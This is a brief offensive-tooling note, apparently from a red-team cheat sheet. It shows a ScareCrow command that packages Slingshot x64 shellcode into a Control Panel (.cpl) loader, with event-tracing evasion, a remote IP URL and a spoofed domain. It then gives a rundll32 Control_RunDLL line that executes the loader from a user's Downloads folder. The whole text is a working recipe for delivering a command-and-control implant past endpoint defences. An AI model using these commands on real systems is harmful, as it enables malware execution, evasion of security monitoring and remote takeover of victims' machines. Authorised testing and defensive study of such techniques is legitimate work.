Control Panel

generating CPL (Control Panel) files:

./ScareCrow -I ../rtt/slingshot_x64.dll.shellcode -Loader control -noetw  -url <http://34.105.187.238> -domain welcomeit.org

running it:

C:\\WINDOWS\\System32\\rundll32.exe C:\\WINDOWS\\System32\\shell32.dll,Control_RunDLL C:\\Users\\bglocaladmin\\Downloads\\desktop.cpl